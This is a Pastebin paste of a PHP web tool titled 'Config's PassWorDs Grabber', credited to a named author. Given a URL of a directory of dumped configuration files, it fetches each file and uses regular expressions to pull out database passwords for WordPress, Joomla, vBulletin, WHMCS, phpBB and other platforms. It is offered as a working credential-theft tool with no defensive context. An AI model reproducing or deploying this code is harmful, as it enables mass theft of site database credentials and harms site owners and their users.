Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <head>
- <meta content="text/html; charset=ISO-8859-1"
- http-equiv="content-type">
- <title>~#@Kyfx Config's PassWorDs Grabber@#~</title>
- </head>
- <body style="background-color: black; color: rgb(0, 0, 0);"
- alink="#ee0000" link="#0000ee" vlink="#551a8b">
- <div style="text-align: center;"><big
- style="font-weight: bold; color: rgb(51, 204, 0);"><img
- style="width: 180px; height: 184px;" alt=""
- src="http://www12.0zz0.com/2014/12/28/03/895190770.jpg"></big><br>
- </div>
- <big style="font-weight: bold; color: rgb(51, 204, 0);"><br>
- </big>
- <div style="text-align: center;"><big
- style="font-weight: bold; color: rgb(0, 163, 0);">Magico Config's
- Passwords Grabber</big><br style="color: rgb(51, 204, 0);">
- </div>
- <div style="text-align: center;"><big style="color: rgb(153, 153, 153);"><span
- style="color: rgb(186, 124, 62);"><span style="color: rgb(0, 153, 0);">Usage</span>
- </span>: http://www.site.com/configs/</big><br>
- <span style="color: rgb(51, 102, 255);"><span
- style="color: rgb(0, 153, 0);">By</span> : <a href="https://www.facebook.com/ElKiller.2013"><span
- style="color: rgb(153, 153, 153);">Elmagico<span style="color: white;"></span></a></span></span><span
- style="color: rgb(153, 153, 153);"></span><br>
- <span style="color: rgb(255, 204, 0);"></span><br>
- <center>
- <span style="color: rgb(255, 204, 0);">
- <?php
- /*
- - Coded By: Elmagico
- - http://magico-sec.blogspot.com
- - Contact: facebook.com/ElKiller.2013
- - https://www.youtube.com/user/forbiden202/videos
- */
- set_time_limit(0);
- error_reporting(0);
- echo'<form method="post">
- <input type="text" name="conf" value="" />
- <input type="submit" value="GeT Passwords" name="get" />
- </form>';
- $g = $_POST['get'];
- $dir = $_POST['conf'];
- //////////////////////////////////////////////////////////////////////////////////////////////
- if(isset($g) && $dir != ""){
- $cn = @file_get_contents($dir);
- //preg_match_all('#href="(.*?)">(.*?)<#',$cn,$m); // $m[2]
- preg_match_all('#href="(.*?)"#',$cn,$m);
- foreach($m[1] as $txt){
- $url = $dir.$txt;
- $cnurl = @file_get_contents($url);
- preg_match('#\'DB_PASSWORD\', \'(.*)\'#',$cnurl,$m1); // wordpress
- preg_match('#password = \'(.*)\'#',$cnurl,$m2); // joomla
- preg_match('#password\'] = \'(.*)\'#',$cnurl,$m3); // vb
- preg_match('#db_password = "(.*)"#',$cnurl,$m4); // whmcs
- preg_match('#db_password = \'(.*)\'#',$cnurl,$m4); // whmcs
- preg_match('#dbpass = "(.*)"#',$cnurl,$m5); //
- preg_match('#password = \'(.*)\'#',$cnurl,$m6); // connnect.php
- preg_match('#dbpasswd = \'(.*)\'#',$cnurl,$m8); // phpBB 3.0.x
- preg_match('#password_localhost = "(.*)"#',$cnurl,$m9); // conexao.php
- preg_match('#senha = "(.*)"#',$cnurl,$m10); // /_inc/config.inc.php
- if(!empty($m1[1])){ echo $m1[1]."<br>"; }
- elseif(!empty($m2[1])){ echo $m2[1]."<br>"; }
- elseif(!empty($m3[1])){ echo $m3[1]."<br>"; }
- elseif(!empty($m4[1])){ echo $m4[1]."<br>"; }
- elseif(!empty($m5[1])){ echo $m5[1]."<br>"; }
- elseif(!empty($m6[1])){ echo $m6[1]."<br>"; }
- elseif(!empty($m7[1])){ echo $m7[1]."<br>"; }
- elseif(!empty($m8[1])){ echo $m8[1]."<br>"; }
- elseif(!empty($m9[1])){ echo $m9[1]."<br>"; }
- elseif(!empty($m10[1])){ echo $m10[1]."<br>"; }
- }
- }
- ?>
Add Comment
Please, Sign In to add comment